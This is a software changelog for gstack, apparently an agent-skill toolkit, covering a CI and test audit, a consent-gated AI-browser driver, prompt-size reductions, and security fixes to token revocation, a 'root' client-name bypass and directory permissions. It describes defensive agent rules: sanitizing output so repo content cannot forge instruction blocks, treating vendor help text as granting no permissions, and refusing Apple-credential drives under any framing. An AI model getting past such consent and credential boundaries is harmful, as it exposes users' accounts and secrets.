New coverage: TEMP_DIRS widening + remote-serving asymmetry, shortcut-marker writer/harvester grammar joint, sandbox-doctor shell guards, GSTACK_FREE_JOBS parsing, laundered-ls-remote shims, digest freshness/budget/writer tripwires, and a real generator round-trip through the version bump.

[1.74.0.0] - 2026-08-29

Green now means green: every test runs somewhere, provably. The suites got faster by deleting lies, not by skipping work.

This release is a full audit and overhaul of gstack's own test and CI system. The audit found the safety net lying in specific ways: three CI eval jobs ran zero tests and passed on every PR, four paid test files could never execute in any lane, the required free-tests check silently skipped nine make-pdf gates on Linux for their entire life, and about 57 E2E files ran in no scheduled lane at all. All of it is fixed, and each fixed class now has a tripwire so it cannot quietly return.

Speed came from structure. The free suite packs shards by recorded per-file durations instead of file counts, and the serial tree-mutating shard is gone entirely: the generator gained a main() guard and renders every host into out-dirs, so the suite never writes the live tree. The paid lane re-platforms CI onto the same sharded runner you use locally, with one planner manifest, sliced executors, and a report that fails closed when a slice's artifact never lands.

The numbers that matter

Sources: live CI run 33194732051 (pre-change shard timings), the committed durations seed (bun run test:free --record-durations, 496 files), and the planner's own output on this branch.

Metric Before After Δ

Free-suite shard spread 28s to 97s 6 shards, ~80s predicted each balanced

Serial mutator tail, every run ~35-40s 0s (shard dissolved) gone

Paid files runnable in NO lane 4 0 tripwired

E2E files in no weekly CI lane ~57 0 (3 reasoned excludes) contract

Zero-test green CI jobs per PR 3 0 deleted

Touchfiles keys missing self-registration 129 0 enforced

Hand-tuned paid timeout literals 395 97 (46 justified) 5 tiers

The self-registration number is the quiet one that matters most: before it, editing only a test's assertions selected nothing, so the changed test never ran on the change that changed it.

What this means for you

bun run test is honest and flat: no hidden slop scan, no serial tail, shards that finish together. Paid CI and local paid runs share one engine, so a shard that never starts, a slice that dies, or a file that self-skips everything is a red check with a name, never a silent pass. When you add a paid test, the orphan tripwire forces it into the census the same commit. Upgrade, run bun run test:free, and read docs/TESTING_INTERNALS.md if you maintain tests.

Itemized changes

Fixed (what green means)

The required free-tests lane builds the gate binaries (build:gates) and runs the nine make-pdf e2e gates that silently self-skipped on Linux since they existed; GSTACK_EXPECT_BINARIES=1 + ci-prereqs.test.ts invert the skip polarity in CI so the class cannot return.

Deleted the two vestigial eval matrix rows that ran zero tests per PR (codex/gemini, periodic-tier files with no row tier) and armed e2e-pty-plan-smoke with its missing tier: gate (it burned ~7 minutes of setup then skipped every describe).

Activated the four paid test files whose names fell outside the paid globs (net execution zero, forever): carve-section-loading, codex-e2e-plan-format (+ its missing periodic gate), codex-e2e-recommendation-substance, llm-judge-recommendation. New paid-orphan-tripwire.test.ts fails the suite on any EVALS-gated file outside the globs.

135 touchfiles keys now name their own declaring test file; the tier-alignment warning became a hard failure with a 4-entry ratchet.

Five quarantined browse tests reactivated (two guard the extension's privileged-message security boundary); root cause was stale dev-machine state, proven byte-identical since v1.66.

The two expect(true) paid stubs are test.todo (reported as todo, never pass), keeping their selector surfaces.

Five test files stopped assigning GSTACK_HOME at module scope (it leaked into every sibling in the shard process); a static tripwire blocks recurrence.

Shared /tmp artifact paths in six PTY tests became per-test mkdtemps (they collided under retry and parallel worktrees); 18 live-repo cwd: sites audited and reason-commented.

restrictDirectoryPermissions warns and skips symlinked dirs on both platforms (chmod and icacls dereference the link), closing the Windows lane's standing red with a platform-aware regression test.

Judges resolve their model through lib/eval-model.ts (the global GSTACK_EVAL_MODEL override now applies) and retry 429s with jittered exponential backoff instead of one fixed second.

Seven 28-minute test timeouts inside 25-minute CI jobs trimmed to the physical ceiling; an eval-budgets fit test pins that budgets above the wall cannot come back.

Changed (speed and structure)

Free suite: duration-aware LPT shard packing from the committed seed (scripts/free-test-durations.json, refresh with bun run test:free --record-durations), duration-aware wall timeouts, per-shard prediction logging, corrupt-seed fallback to hash sharding. The --shard CI-matrix contract is untouched.

TREE_MUTATING is empty: gen-skill-docs.ts gained a main() guard (imports never regenerate; pinned by an import-purity test) and --out-dir renders every host, so all eight former mutators render into mkdtemps and the four ratchet readers rejoined the parallel shards.

Paid runner: full-stream spooling to per-shard log files (no more 30-minute streams held in RAM), shared runShardChild lifecycle with the expectedFiles enforcement drift fixed, parent-computed selection propagated to children via EVALS_SELECTION_JSON (fail-open), retry parity as literals.

Paid CI re-platform (parity phase): evals.yml gains a sliced lane (planner manifest, 6 executors, fail-closed report) running alongside the legacy matrix; evals-periodic.yml runs ALL periodic-tier tests weekly minus the reasoned exclusions in periodic-exclude-data.ts, plus a weekly full-gate census and a tracking-issue upsert on red weeks. The hollow-shard guard fails exit-0 shards that executed zero tests under EVALS_ALL.

298 paid timeout literals swept onto five named tiers (test/helpers/eval-budgets.ts), round-up only.

slop:diff left bun run test (it silently added up to 240s) and runs in quality-gate per PR instead; /review keeps its interactive run.

The four worst fixed sleeps (300s/30s/30s/20s) became condition polls or stdin-EOF-bound child lifetimes; the parent-watchdog test dropped from 24s to 3.6s with a strictly stronger assertion.

CI hygiene: least-privilege permissions on every workflow, one pinned Bun version everywhere (drift-tested), the image-tag triple bound by test, ci-image stops rebuilding identical images on every ship, quality-gate dropped its 74-second full-history checkout, fork-safe concurrency keys, timeouts on every job, windows caches warm-start on lockfile bumps.

Added

95 tests for six zero-coverage surfaces: the eval CLI family (eval-list/compare/summary/select), slop-diff, the code-intelligence CLI, browse media-extract and session-cookie-store, and lib/version-source.

Policy and tripwire tests: paid-orphan tripwire, GSTACK_HOME module-scope tripwire, bun-version drift, image-tag binding, gen-skill-docs import purity, out-dir byte-identity for external hosts, manifest/slice/report contract, eval-budget fit and ratchet, periodic-exclude policy, selection propagation drift.

test/helpers/run-bin.ts: one spawnSync wrapper replacing ~36 near-identical local run() helpers (first three files migrated; the rest are a filed follow-up).

For contributors

docs/TESTING_INTERNALS.md documents the new runner architecture; CLAUDE.md's testing prose matches it. TODOS.md closes the absorbed backlog items (periodic coverage contract, eval-harness observability, the sidebar trio, which turned out already deleted) and files the follow-ups: legacy matrix deletion after parity, the required-check decision, browse /tmp-namespace hardening, PTY boot-readiness waits, the single typed test registry, and the bun-native LPT swap at the next Bun unpin.

[1.72.0.0] - 2026-08-28

"Go register an API key" now drives your real browser. Aside is the recommended driver, consent asked every single time.

When a workflow hits a third-party website moment, registering an API key, creating a vendor account, wiring a webhook, gstack now checks for the Aside AI browser and offers to drive it: your real logged-in sessions, no cookie export, no re-auth. You approve each drive per task, by name and by site. Passwords, payment, CAPTCHAs, and identity stay yours; Apple credential creation is never a drive target in any skill. No Aside installed? On a Mac you get one download pointer (aside.com, macOS 15+), once, and gstack's own visible browser remains the fallback everywhere. gstack never runs an installer for you, and a detected binary is never treated as consent.

This release also fixes a real hardening bug: on hosts where the process holds CAP_FOWNER (Docker as root, CI sandboxes), the browse daemon's owner-only chmod could land on /tmp itself when a state file was configured there, locking the whole machine's access(2) checks out for everyone. The permission code now refuses shared, sticky, symlinked, or foreign-owned directories, warns instead of going silent, and pins the check and the chmod to one inode.

The numbers that matter

Source: this branch's test runs on a Linux CAP_FOWNER sandbox, plus the eval records under ~/.gstack/projects/<slug>/evals/.

Metric Before After Δ

Drivers offered at a third-party web moment 1 ($B headed) 2 (Aside recommended, $B fallback) +1

/tmp after a BROWSE_STATE_FILE=/tmp/x.json boot on a CAP_FOWNER host chmod 0700, machine-wide breakage refused, warned once fixed

resolve-user-slug on coreutils-only Linux with a git email exit 127 exit 0 fixed

Prose pins guarding the consent contract 0 21 tests, 254 asserts new

Live consent-gate E2E cases (gate tier, hermetic shims) 0 5, all passing at ~$0.35/run new

The consent gate is the number to care about: five real claude -p runs prove the agent offers Aside only when detected, degrades cleanly when it is broken or absent, pitches the download exactly once on macOS, and refuses browser drives for Apple credentials under any framing.

What this means for you

The next time a skill says "you need a Duffel test token," it can just go get it with you watching, in the browser where you are already signed in. You approve the site and the actions first, every time, and the secret lands in an owner-only file, verified with one read-only API call, never echoed to chat. If you would rather not install anything, nothing changes: the first-party browser keeps working exactly as before. Docker-as-root users should upgrade for the /tmp fix alone.

Itemized changes

Added

Third-Party Web Actions contract (ship, spec, office-hours, land-and-deploy, setup-deploy) now names the Aside AI browser as the recommended driver: runtime detection probe with a portable timeout guard, detection-conditional consent options, step-wise drive discipline with the vendor's confirm mode left on, and a failure path that quotes errors (redacted), retries once, and falls back only with fresh consent.

Credential boundaries hardened in the same contract: secret-minimization preference (password-manager autofill, human-used copy buttons), Apple credential creation banned as a drive target in every skill, and vendor --help/skill text explicitly scoped to operational syntax, never new permissions.

test/third-party-actions.test.ts: 21 pin tests covering every load-bearing sentence of the contract, plus repo-wide tripwires (an aside command allowlist of --version/--help only, and a ban on Aside installer invocations in any generated doc).

test/skill-e2e-third-party-actions.test.ts: five hermetic gate-tier E2E cases (present, absent-Linux, present-but-broken, absent-macOS pitch, Apple credential ban) wired into CI's eval matrix; the absent cases actively mask any real aside binary on the host so dev machines cannot leak into detection.

Changed

The v1.65.0.0 stance of driving only gstack's own browser stack is superseded by explicit user directive: Aside is the one product gstack recommends by name. Never-auto-install and per-task consent survive unchanged and are now pin-tested.

The setup flow's bun-installer checksum verification resolves sha256sum before shasum, so it works on coreutils-only Linux.

Fixed

restrictDirectoryPermissions no longer chmods shared sticky directories (/tmp, /var/tmp), foreign-owned directories, symlinked state dirs, or world-writable mounts when running as root; refusals warn once per process instead of failing silent, owned-but-unreadable dirs still self-repair, and the check-then-act race is closed with fd-anchored fstat/fchmod.

gstack-config resolve-user-slug exited 127 on Linux distros without perl's shasum whenever a git email was set; both hashing call sites now resolve sha256sum first and fall back to shasum -a 256.

A path-validation test assumed /etc/crontab exists (absent on Amazon Linux and minimal Fedora); it now uses /etc/passwd.

For contributors

test/helpers/fs-caps.ts: functional capability probes (canRevokeWrites, canRevokeReads) replace uid-0-only guards across 14 chmod-based test files, so suites skip honestly on CAP_DAC_OVERRIDE containers instead of asserting revocations the kernel ignores.

Five tpa-* entries registered across E2E_TOUCHFILES/E2E_TIERS with template-level deps, the eval matrix row carries tier: gate, and eval:bg:periodic's detach timeout rose to 36000s to cover the grown periodic shard census (floor-enforced by test).

[1.71.0.0] - 2026-08-27

Every skill invocation just got half the prompt bill. Same behavior, measured by A/B evals, locked by CI ceilings.

Every gstack skill pays a fixed prompt cost before doing any work. This release cuts that cost across all 62 skills and pins the wins so they can't creep back. The shared preamble's bash moved into two runtime scripts (bin/gstack-skill-start, bin/gstack-skill-end) that echo the same STATUS lines the prose always interpreted. One-time onboarding text now appears only when its gate actually fires, emitted as session-bound instruction blocks instead of riding along in every render. Eleven more skills got the section carve and office-hours' existing carve went deeper, taking the carved roster from 9 to 20: heavy reference bodies load on demand at the step that needs them, never before.

The numbers that matter

Source: bin/gstack-context-bill --diff comparing the main render against this branch's render, both regenerated from source.

Ledger Before After Δ

/review eager per invocation 109.5KB (~26.6K tok) 53.7KB (~13.0K tok) −51%

/land-and-deploy eager 109.8KB 54.4KB −50%

/codex eager 100.0KB 53.9KB −46%

Corpus on disk 6.4MB (~1,651K tok) 5.4MB (~1,398K tok) −15%

Repo CLAUDE.md (always-on in dev sessions) 66.4KB 44.9KB −32%

50 of the 62 installed skills dropped (the rest are fixture/alias entries with no preamble to shed). The smallest real cut is −4,780 tokens per invocation (tier-1 utilities); non-carved tier-2 skills each shed a flat ~20.8KB of preamble. Zero always-on or eager growth anywhere in the diff.

The behavioral proof ran before this shipped: an A/B eval pins the script render against the old inline render, a section-loading eval verifies a real agent Reads each carved section before doing its step (20 skills, data-driven), and the full paid gate passed with the environmental-only baseline. The context-budget ratchet re-captured after every wave, so each ceiling now sits at the new, lower number.

What this means for you

The agent reads roughly half the boilerplate before starting your task, so first-token latency and per-invocation cost drop across every skill you run. Onboarding prompts you already answered never render again. Nothing else should feel different: if a skill behaves differently than it did on v1.69, that's a bug, and the A/B harness exists to catch it. Run bun run test after upgrading; the ratchet will tell you if anything grew.

Itemized changes

Added

bin/gstack-skill-start / bin/gstack-skill-end: the preamble and telemetry runtime, replacing ~18KB of inline bash per tier-2+ skill. Emits a SKILL_START_PROTO: 1 handshake, STATUS lines, and gated one-time onboarding as GSTACK_INSTRUCTION blocks bound to a per-run session ID with a random suffix; passthrough output is sanitized so repo or prior-session content can never mint directive blocks or forge the session ID.

bin/gstack-retro-metrics: deterministic git metrics for /retro (labeled contract, local reads only), replacing inline git/awk in the skill body.

Section carves for 11 new skills — review, codex, land-and-deploy, autoplan, spec, setup-gbrain, qa, browse, retro, design-html, design-shotgun — plus a deeper office-hours carve (Phase 2A/2B), each with registered guards, loading scenarios, and recomputed size floors. The design carves force-read their UX doctrine before design work begins.

Context-budget ratchet: a free CI test grades the always-on catalog and each skill's per-invocation cost against committed ceilings; growth fails the suite, reductions re-capture and lock.

Six reference docs extracted verbatim from the repo CLAUDE.md (browser internals, CHANGELOG format spec, project tree, hermetic-E2E notes, slop-scan guide, OpenClaw publishing), each replaced inline by a short rule plus pointer.

Changed

The AskUserQuestion tool-resolution and 5+-option rules render as a compact branch table keyed on echoed STATUS lines; full split/CJK rules live at absolute install paths read on demand. All 14 mandatory format pins stay in every tier-2+ skeleton.

ios-fix, ios-clean, ios-sync, and ios-design-review dropped to preamble tier 2 (they never used the tier-3 sections).

The preamble degrades safely on stale installs: missing handshake means safe defaults, deferred onboarding (consent is never lost), and a one-line upgrade hint.

The privacy consent gate and telemetry prompt fire only in interactive sessions; spawned and headless runs defer them to the next human session.

Hermetic E2E children get seeded onboarding state in their own GSTACK_HOME, so evals never burn turns on first-run prompts.

Fixed

The once-daily artifacts pull is now non-interactive and slow-network bounded, so a hung remote can't stall the first skill invocation of the day.

Branch names and artifacts-repo state files are sanitized before entering STATUS output and timeline records, closing log-forgery paths via hostile ref names or planted files.

Skill-start no longer parses a multi-megabyte ~/.claude.json on every invocation when no gbrain server is registered.

For contributors

Preamble A/B eval (skill-e2e-preamble-script-ab, periodic tier) pins script-render behavior against the pre-consolidation inline render; the carve-section-loading eval covers all 20 carved skills at an honest 480s ceiling.

New free tests: skill-start/skill-end contract and behavior (13), retro-metrics (11), onboarding moved-literals tombstone (3 tests pinning 12 literals both directions), context-budget ratchet (7). Parity baseline and ratchet fixtures re-captured; the shrink floor stays (OV8 evaluated).

test/helpers/touchfiles-data.ts: the runtime scripts joined every dep list that named the moved generators, so diff-based eval selection still fires on script changes.

[1.70.1.0] - 2026-08-26

Ship names its documentation subagent at every decision point. The handoff is now pinned by tests that fail loud if it ever goes quiet.

/ship has dispatched /document-release as Step 18 since v0.18.2.0, but the v1.54.0.0 carve moved that step into an on-demand section and the always-loaded skeleton stopped saying "document-release" at any decision point (one mention survived, buried in the re-run checklist). The wiring was intact. The visibility was gone, and nothing tested the handoff. This release restores the visibility and locks it in: the section index, the STOP pointer, the Step 17 handoff line, and a new hoisted doc-sync invariant all name "the /document-release subagent" (subagent-framed on purpose, so an agent dispatches the isolated worker instead of running a weaker inline copy). A free tripwire pins the wording, carve-guard anchors pin each touchpoint independently, and a new gate-tier E2E proves a live agent actually fires the dispatch before creating the PR.

The numbers that matter

Source: this branch's eval store (~/.gstack/projects/<slug>/evals/, runs of test/skill-e2e-ship-docsync.test.ts) and wc -c ship/SKILL.md.

Property Before After

Doc-sync subagent named in the Claude-host ship workflow body 0 mentions at any decision point 4 (section index, STOP pointer, Step 17 handoff, hoisted invariant)

Tests pinning the ship→document-release handoff none 5 free tripwire tests + 3 per-touchpoint carve anchors + 1 gate E2E

Live dispatch proof never measured 9/9 runs fire the dispatch before PR creation ($0.63-1.04, 234-319s each, sonnet-4-6)

Always-loaded skeleton cost 91,267 B 91,764 B (+497 B, cap raised to 92,300)

Nine out of nine live runs is the line that matters. The E2E asserts on the actual tool-call stream, with a dispatch-specific matcher that a subagent merely quoting section text cannot satisfy, and a timeout-tolerant exit check that never softens the dispatch assert itself.

What this means for gstack users

When you run /ship, the docs sync step is no longer an invisible line in a file the agent may summarize past. It is named at the exact moments the agent decides what to do next, and a merge-blocking test fails if any future edit makes it invisible again. A failed docs subagent still never blocks your ship. Nothing to configure. Upgrade and ship.

Itemized changes

Fixed

/ship's Claude-host skeleton names "the /document-release subagent" at all three Step 18 decision points (manifest trigger rendering into the section index and STOP pointer, the Step 17 handoff line, and a hoisted doc-sync invariant beside the PR-title invariant). The invariant states the contract plainly: the dispatch itself is never skipped; only a failed subagent is non-blocking.

Added

test/ship-document-release-dispatch.test.ts: free tripwire pinning the carved Step 18 contract (imperative, subagent_type, JSON return keys, non-blocking clause), the three skeleton touchpoints, the invariant-above-STOP ordering, the E2E matcher's four marker strings, and the inlined Step 18 → Step 19 ordering in the codex/factory goldens.

test/skill-e2e-ship-docsync.test.ts (ship-docsync, gate tier): a live agent runs the sliced Step 17→19 ship tail in a hermetic git fixture; hard assert that an Agent dispatch matching the Step 18 prompt markers appears in the tool-call stream before any gh pr create. Fixture fails loud on step-marker drift, pins its git branch against operator config, asserts every setup command, and neutralizes the credential pre-push guard's question branch.

For contributors

Carve-guards ship entry: three non-overlapping per-touchpoint anchors (gerund, imperative, third-person: no anchor subsumes another, so each is independently enforced), the carved imperative pinned to stay carved, skeleton byte cap 91,600 → 92,300 with the measured value recorded.

ship-docsync registered in E2E_TOUCHFILES and E2E_TIERS (gate), with a whole-file describeE2ETier('gate') self-gate composed with diff selection so the file stays out of the periodic shard census; the tierless test:evals invisibility tradeoff is documented in the file header.

Internal backlog notes corrected to describe the current Step 18 design (the pre-v1.54 "Step 8.5" prose was still documented as current), plus three deferred follow-ups recorded: a machine-checkable dispatch receipt, the same dispatch-pin treatment for land-and-deploy→canary, and the periodic shard-census ceiling arithmetic.

[1.69.0.0] - 2026-08-22

The silent-failure wave: tools that reported success while doing nothing — or the wrong thing — now do what they say, or say loudly that they couldn't.

Every fix in this wave closes the same failure shape. gstack-evidence — the tool other tools believe — certified runs whose environment differed from CI's, because bun auto-loaded the repo's .env files into every child it spawned. The gbrain wireup's first sync targeted the brain's default source, which could silently repoint a user's primary knowledge source at the gstack worktree while the just-registered source got zero pages — and still print a success line. ./setup --host slate exited 0 having installed nothing. land-and-deploy's merge recovery re-established everything except the --delete-branch half it had promised, and said nothing. A _unattributed → deny ingest policy never applied to exactly the pages it names. Skill-dir cleanup structurally could not find orphans. And a false-green test fixture meant the "gbrain missing" case could never fail on any machine with a real gbrain installed. Six fixes are new; five community PRs are absorbed with credit; ~17 tracker items close with receipts.

The numbers that matter

Source: the regression tests named in each commit — every one verified to FAIL on a scratch worktree of v1.68.3.0 during the wave (the receipts standard), plus the live pre-fix probes quoted in the PR.

Property Before After

gstack-evidence run in a repo with .env/.env.local child inherits bun-injected vars; ledger certifies a run CI never performs value-equality scrub (shell-exported overrides survive), names-only warning, GSTACK_EVIDENCE_KEEP_DOTENV=1 opt-out. Contributed by @namtrok (#2652)

Wireup first sync sync --repo resolves against the DEFAULT source; can repoint its anchor, registered source gets 0 pages, prints success sync --source <id>; --help-probed with --repo+warning fallback for old gbrains

./setup --host slate exit 0, installs nothing explains Slate (use --host claude), exit 0 informational; any future accepted-but-unwired host exits 1 loudly; accept-list ⊆ dispatch-arms is test-pinned

land-and-deploy merge recovery --delete-branch half silently dropped ls-remote reconciliation: already-clean (idempotent) / confirm-first delete / "couldn't verify" — a failed check is never read as a clean branch

Orphaned skill dirs after the payload is gone cleanup scanned the payload → structurally can't reap destination scan, dangling-symlink aware, path-segment provenance. Contributed by @szsunyuan (#2634)

gstack-redact install-prepush-hook on bun/Windows EEXIST crash — credential guard silently absent mkdirpSync tolerates dir-EEXIST only. Contributed by @Lockyer228 (#2641); swept to decision-log, evidence, and the prepush skip-log

"gbrain missing" test on a box with real gbrain saw the host's gbrain, exited 0 — could never fail where the bug exists hermetic root-owned-dirs-only PATH + determinism check. Contributed by @SomSamantray (#2615)

Heredoc bodies ≥512B under Homebrew bash 5.2+ child deadlocks (macOS 512-byte pipe buffer) BASH_COMPAT=50 guard in the 11 in-window scripts + a repo-wide scanner ratchet. Contributed by @BenjaminDSmithy (#2640)

_unattributed → deny policy under --include-unattributed never applied — raw "" remote bypassed the filter stored remote matches the frontmatter sentinel; deny/read-only now bite

Brains on gbrain's ZeroEntropy recipe embedding dies silently after Sept 4, 2026 wireup warns on config detection (fail-open); setup-gbrain + docs advisories (#2365, gbrain-side migration stays open)

make-pdf sibling browse resolution cwd-dependent (dirname(argv[0]) is . in compiled binaries) process.execPath-based; a decoy browse/ directory can never win

What this means for you

Evidence verdicts are the run CI would perform — your shell-exported overrides still win, and the scrub tells you (key names only) what it removed. Revoking, cleaning up, and installing now either do the thing or name the thing they couldn't do. If your gbrain is on the dying ZeroEntropy recipe, gstack tells you before September 4 instead of letting search quietly rot. And five contributors' PRs are in this release with their authorship on the commits and their handles below.

Itemized changes

Added

Zero-dispatch guard in setup: a host that passes --host validation without an install arm errors loudly (names the host and the valid targets) instead of exiting 0 having configured nothing; cross-check test pins the accept-list against hosts/index.ts and every accept-listed host to a dispatch arm (#2361).

ZeroEntropy sunset advisory: fail-open config detection in the wireup, provider-comment warnings in /setup-gbrain, and a troubleshooting entry in USING_GBRAIN_WITH_GSTACK.md (#2365 — refs; the gbrain-side migration remains open).

lib/fs-utils.ts mkdirpSync (dir-confirmed EEXIST tolerance) with a bun-Windows-emulating preload fixture, applied to gstack-redact, gstack-redact-prepush, gstack-decision-log, and gstack-evidence. Contributed by @Lockyer228 (#2641; fixes #2635).

Repo-wide heredoc scanner: any tracked shell script with an unguarded 512B–64KiB heredoc fails the free suite. Contributed by @BenjaminDSmithy (#2640).

Changed

land-and-deploy §4a-postfail MERGED recovery reconciles the remote branch (three-way: already-clean / confirm-first delete / couldn't-verify) and states the outcome instead of staying silent (#2656).

make-pdf resolves the sibling browse binary from process.execPath with an injectable test seam; the about:blank half of #2156 was already fixed in v1.64.0.0 (browse/src/url-validation.ts exact-match allow).

./setup --host slate is an informational exit pointing at --host claude (per docs/designs/SLATE_HOST.md, Slate reads .claude/skills as a compatibility fallback) (#2361).

Fixed

gstack-evidence scrubs bun-auto-loaded dotenv vars from the child env by value equality — a shell-exported override with a different value survives, NODE_ENV=test semantics mirror bun's, and an unreadable .env fails open (test-pinned). Known limitation documented in-code: bun-expanded ${VAR} values are left in place (fails open). Contributed by @namtrok (#2652; fixes #2624; @harjothkhara's #2630 credited for the parallel diagnosis).

Wireup first sync targets the registered source id, never the default source (#2662); support-probed with a warning fallback so gbrains at the 0.18.0 floor keep working.

cleanup_old_claude_symlinks reaps orphans from the DESTINATION skills dir (dangling symlinks included) with path-segment provenance instead of a bare *gstack* substring. Contributed by @szsunyuan (#2634; fixes #2204).

gstack-memory-ingest stores the normalized _unattributed remote so repo policies keyed to it actually apply under --include-unattributed (#2353).

Hermetic gbrain-missing PATH fixture kills a false green on every machine with a real gbrain install. Contributed by @SomSamantray (#2615; fixes #2255).

For contributors

Tests: 8,036 → 8,078 (+42 across the wave; every behavior fix carries a regression test proven red on v1.68.3.0).

The heredoc scanner now gates every tracked shell script — new scripts with 512B–64KiB heredoc bodies need the BASH_COMPAT=50 guard (or smaller/file-based bodies).

On bash 4.3/4.4 (e.g. Git Bash), BASH_COMPAT=50 prints a non-fatal invalid value stderr warning; those bashes never took the pipe path, so the guard is a no-op there.

[1.68.3.0] - 2026-08-20

Re-pairing a browser agent to narrow its access now revokes the old access on the spot, revoke frees the agent's tabs, and root is a reserved client name.

Tightening a paired agent is supposed to be one re-pair away. It wasn't. POST /pair minted a fresh setup key but never touched the agent's live session, so pair-agent --client codex --restrict read against an agent that had already connected (or whose new 5-minute key simply expired unexchanged) left the original full-access session, eval included, alive for up to 24 hours. Revocation also never released tab ownership, so an agent re-paired under the same name inherited the previous one's authenticated tabs. And because root is the sentinel the scope, domain, rate, and tab checks use for the omnipotent caller, --client root minted a "scoped" token that skipped all of them.

The numbers that matter

Source: the before/after BROWSE_HEADLESS_SKIP=1 daemon transcript in the PR and the regression tests in browse/test/pair-agent-e2e.test.ts, browse/test/token-registry.test.ts, and browse/test/tab-isolation.test.ts, which fail on the previous release.

Property Before After

Re-pair to narrow, agent hasn't reconnected old wide session lives ~24h old session 401s immediately

Narrowing re-pair before the agent connects stale broad setup key still exchangeable broad key dead, only the narrow key works

Broaden/refresh re-pair mid-task old session lingers alongside a new key working session kept, stale key dropped, no outage

Revoke a paired agent tabs stay owned; same-name re-pair inherits them tab ownership released; own-only access denied

--client root "scoped" token bypasses all enforcement rejected with a named 400 and a CLI fast-fail

What this means for you

Re-pair is now the real tightening lever. Re-pair an agent with its same --client name and a narrower --restrict/--domain, and the previous session is revoked and its tabs released the instant you run it, so the old access can't linger while you wait for the agent to reconnect. Broadening or refreshing the same agent leaves its working session alone, so you never strand an agent mid-task. Revoking (or a narrowing re-pair) also frees the tabs the agent opened, so reusing a client name can't hand the next agent someone else's logged-in page. root is rejected as a client name on both the CLI and the daemon.

Itemized changes

Fixed

A reducing re-pair (/pair with fewer scopes, tighter domains, a lower rate, or a stricter tab policy) revokes the client's live session and releases its tabs before minting the new key; the response carries superseded. Non-reducing re-pairs keep the session and only drop stale pending setup keys, so a broaden or refresh never strands a working agent. The requested grant is validated before any revoke, so a re-pair with a bad scope or rate is rejected without knocking the live session offline. (browse/src/server.ts, browse/src/token-registry.ts)

A narrowing re-pair issued before the agent connects invalidates the earlier, broader setup key, so it can no longer be exchanged. (browse/src/token-registry.ts)

Revoking an agent releases the tab ownership it held: DELETE /token runs the release unconditionally (ownership outlives the token) and reports tabs_released, and an own-only client re-paired under the same name can no longer read those tabs. A re-pair with no live session likewise frees any tabs orphaned by an expired incarnation, so a fresh session can't inherit them. (browse/src/browser-manager.ts, browse/src/server.ts)

root is rejected as a clientId at every token writer, so a scoped token can never carry the sentinel that bypasses scope, domain, rate, and tab checks; /pair and /token return a named 400 and the CLI rejects --client root before it reaches the daemon. A persisted root entry is skipped when the registry is restored. (browse/src/token-registry.ts, browse/src/cli.ts)

For contributors

Regression coverage pins each property: the reduce / broaden / shadow-key re-pair behaviors and the grantReducesAccess truth table (scope, domain direction, rate 0=unlimited, tab policy) in browse/test/pair-agent-e2e.test.ts and browse/test/token-registry.test.ts; tab-ownership release and post-release denial in browse/test/tab-isolation.test.ts; reserved-name rejection across writers, routes, and registry restore.

[1.68.2.0] - 2026-08-20

Revoking a paired agent now revokes everything it holds, and the documented kill switch is real: tunnel revoke deletes, then proves it.

Revoking a remote agent was broken twice over. revokeToken deleted only the first token matching the agent's name, and the spent setup key kept for connection retries always sat first in line. So DELETE /token/<agent> returned 200 while the live session kept working, a leftover unspent setup key could mint a brand-new session for a "revoked" agent (inside the key's 5-minute validity), and a second DELETE returned 200 again. Meanwhile the documented way out, $B tunnel revoke, did not exist: the CLI forwarded it to the daemon as an unknown command. The pairing docs also promised a read+write sandbox three releases after pairing deliberately switched to full page access.

The numbers that matter

Source: the before/after curl transcript in the PR (a BROWSE_HEADLESS_SKIP=1 daemon on each branch) and the regression tests in browse/test/token-registry.test.ts and browse/test/tunnel-revoke-cli.test.ts, which fail on the previous release.

Metric Before After

DELETE /token with a pending setup key 200, session survives 200, all 3 tokens deleted

Revoked agent re-connects via leftover key new session minted 401

$B tunnel revoke <name> Unknown command 'tunnel' revokes, then verifies against /agents

Second DELETE for the same agent 200 again 404

Bare --restrict (forgotten value) silent FULL access hard error, exit 1

Docs on default pairing scopes "read+write, no JS" read+write+admin+meta, stated plainly

What this means for you

Revoke means revoked: one command deletes the session and every setup key, prints the count, and re-reads the agent list to prove the agent is gone. $B tunnel agents shows everyone paired, pending setup keys included. The pairing docs now tell the truth about default access, when to reach for --restrict (agents reading untrusted pages), and that $B stop clears every token at once. Scope typos fail at /pair naming the bad scope instead of surfacing to the remote agent as a body error, and a scopes list can no longer smuggle in the control scope.

Itemized changes

Added

tunnel revoke <name> and tunnel agents CLI subcommands: pre-server (never boot a daemon to revoke against it), post-revoke verification re-read, truthful exit codes for unknown names, unreachable daemons, and old daemons that claim success while the agent stays listed.

GET /agents lists pending (unexchanged) setup keys, marked pending; setup-key tokens never leave the server. DELETE /token responses carry tokens_deleted and the daemon logs the count.

Changed

The CLI always sends an explicit scopes list; both CLI and server reference one exported DEFAULT_PAIR_SCOPES constant, pinned by a source tripwire so the defaults cannot drift apart again.

The scope-denied 403 hint recommends re-pairing without --restrict or with --control; it no longer suggests --admin, which over-granted browser control.

pair-agent/SKILL.md, REMOTE_BROWSER_ACCESS.md, and ARCHITECTURE.md document the real default, --restrict, and the tunnel allowlist nuance (eval works remotely; js/cookies/storage are local-only). The never-implemented tunnel rotate is replaced by $B stop, and the phantom /sidebar-chat tunnel entries are gone.

Fixed

revokeToken deletes ALL tokens for a client id: the session plus spent and pending setup keys. Closes the false-200 revoke and the re-grant hole.

Bare --restrict (or --restrict swallowing the next flag) errors out instead of silently granting full access; --restrict can never grant control.

Scope and rateLimit typos are rejected at /pair and /token with the field named; rateLimit: 0 (unlimited) survives the /pair path.

DELETE /token/:id decodes percent-encoded client ids, so names with spaces round-trip from the CLI.

For contributors

35 new test cases: revoke-all regression shapes, a subprocess CLI harness with stub daemons pinning the version-skew net ("Revocation incomplete" on a lying daemon) and every CLI error branch, e2e scope-contract and 403-hint pins, and code-shape tripwires for DEFAULT_PAIR_SCOPES and the decode path.

[1.68.1.0] - 2026-08-18

Phantom hook errors are dead. Your settings.json now heals itself on every setup, and no ephemeral path can ever be baked in again.

If you work in Conductor workspaces or git worktrees, you have probably seen it: PostToolUse:AskUserQuestion hook error ... No such file or directory spraying on every question, pointing at a workspace you deleted last week. The cause was a three-part failure. Setup baked the running tree's physical path into your global ~/.claude/settings.json, the Conductor auto-opt-in overrode the exact flag bin/dev-setup passes to prevent that, and the dedupe tag gstack relied on gets stripped by Claude Code itself, so every new workspace appended a fresh dead entry instead of replacing the old one.

